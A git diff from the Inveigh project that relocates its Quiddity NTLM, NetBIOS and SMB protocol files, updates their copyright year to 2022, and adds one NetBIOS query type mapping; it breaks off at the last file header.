b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMChallenge.cs index d0ec6f9..4f91c24 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMChallenge.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMChallenge.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMHelper.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMHelper.cs index 7f36060..463eca5 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMHelper.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMHelper.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMNegotiate.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMNegotiate.cs index f5a9353..df315d9 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMNegotiate.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMNegotiate.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMResponse.cs index 0790917..b3081ff 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NTLM/NTLMResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/NTLMResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs index 2e9c678..fc25d20 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMAVPair.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs index 36eba9a..64f2890 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv1Response.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs index cbda85b..e2781bc 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2ClientChallenge.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs index 0c26bff..3ff7439 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NTLM/Structures/NTLMv2Response.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs index cbb9d2e..03de96d 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSChecker.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs index 88255a3..d0ae62d 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSHeader.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs index 84fd653..cc4af89 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSPacket.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs index 2285b2f..546cf01 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSQuestion.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without @@ -133,6 +133,10 @@ namespace Quiddity.NetBIOS nbnsQueryType = "03"; break; + case "42-4A": + nbnsQueryType = "19"; + break; + case "43-41": nbnsQueryType = "20"; break; diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs index 89d136a..0a1aeed 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSNSResource.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs index 70e8dbe..5cc61ac 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/NetBIOS/NetBIOSSessionService.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/PacketReader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketReader.cs index 904b994..06588af 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/PacketReader.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketReader.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/PacketWriter.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketWriter.cs index d5fa611..4380a40 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/PacketWriter.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/PacketWriter.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs index 7130014..369414d 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs index 216162e..3162e61 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/Commands/SMBCOMSessionSetupAndXResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHeader.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHeader.cs index 9704220..f969b38 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHeader.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHeader.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHelper.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHelper.cs index 32f4309..80bf24d 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB/SMBHelper.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB/SMBHelper.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs index bbe6926..cea586e 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs index 3d9b341..7241ada 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CloseResponse.cs @@ -2,7 +2,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs index 7fd4d42..52c62ff 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs index 3d63d60..3d63d60 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2CreateResponse.cs diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs index 02d66a4..27aa414 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ErrorResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs index ead7b7a..f0ffefb 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs index cf48f1e..2cebc5c 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2FlushResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs index 0ab01e9..0f44f5e 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs index b029745..1bd7b3a 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2LogoffResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs index e79210a..5a3a584 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiateResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs index 884c3af..3791230 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2NegotiatelRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs index 43c51b2..b7f7b22 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs index 43534ed..2d06f10 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2QueryDirectoryResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs index 1cbb484..27fd68e 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs index 4d5f52f..dba7f88 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2ReadResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs index 3259da2..62e8ef2 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs index 7948a9c..cff9796 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2SessionSetupResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs index 48ad1d4..5f1ba50 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs index 64214cc..6cb9fa4 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeConnectResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs index b14ff67..8ff07af 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs index 40e2925..847e22f 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2TreeDisconnectResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs index daf53e5..48ecc63 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteRequest.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs index 4266118..d7bb47d 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Commands/SMB2WriteResponse.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Header.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Header.cs index 65f595e..f62a8cd 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Header.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Header.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Helper.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Helper.cs index 8ef9628..c149279 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Helper.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Helper.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Packet.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Packet.cs index 945d2f8..cea0137 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/SMB2Packet.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/SMB2Packet.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs index 1b94aa6..af2c092 100644 --- a/Inveigh/Protocols/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs +++ b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SMB2/Structures/SMB2NegotiateContext.cs @@ -1,7 +1,7 @@ /* * BSD 3-Clause License * - * Copyright (c) 2021, Kevin Robertson + * Copyright (c) 2022, Kevin Robertson * All rights reserved. * * Redistribution and use in source and binary forms, with or without diff --git a/Inveigh/Protocols/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs b/Inveigh/Protocols/Quiddity/Quiddity/Protocols/SPNEGO/SPNEGONegTokenInit.cs index 8e57949..2674a01 100644 --- 